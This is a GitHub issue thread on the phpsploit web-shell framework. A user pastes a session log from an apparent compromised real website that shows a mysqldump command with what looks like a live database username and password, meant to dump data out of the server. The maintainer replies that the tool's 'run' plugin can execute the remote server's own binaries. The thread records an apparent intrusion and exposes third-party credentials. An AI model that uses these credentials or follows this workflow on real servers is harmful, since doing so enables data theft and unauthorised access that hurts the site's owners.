Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

a window shell trate mysql data #119

Closed
zhanghang25 opened this issue Jul 1, 2019 · 4 comments
Closed

a window shell trate mysql data #119

zhanghang25 opened this issue Jul 1, 2019 · 4 comments

Comments

@zhanghang25
Copy link

No description provided.

@zhanghang25
Copy link
Author

phpsploit(www.hualanbio.com) > mysql mysqldump -u hualanbiocom -p 2dZDcQUW92znC6fz -d test > d:/cc.sql;
[-] mysql: ERROR: 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'mysqldump -u hualanbiocom -p 2dZDcQUW92znC6fz -d test' at line 1
phpsploit(www.hualanbio.com) >

@zhanghang25 zhanghang25 changed the title i a window shell trate mysql data Jul 1, 2019
@nil0x42
Copy link
Owner

nil0x42 commented Jul 1, 2019

@zhanghang25 the mysql plugin is a php/python based reimplementation of the original mysql command.
Therefore, arguments are interpreted as an SQL query, using php built-in mysql_*() functions, without touching any binary on the system.

Currently, phpsploit have no mysqldump plugin.
But if you want, you can still use the remote system's mysqldump command (if available).

To run remote binaries, use the run plugin (help run)

Also, i invite you to always use help <COMMAND> to read more about the sacope of phpsploit commands.

Anyway, thank you for posting the issue :)

@nil0x42
Copy link
Owner

nil0x42 commented Jul 8, 2019

Please close the issue if you consider it resolved

@nil0x42
Copy link
Owner

nil0x42 commented Nov 24, 2019

Closing after ~4 months.
Feel free to re-open if the issue persists

@nil0x42 nil0x42 closed this as completed Nov 24, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants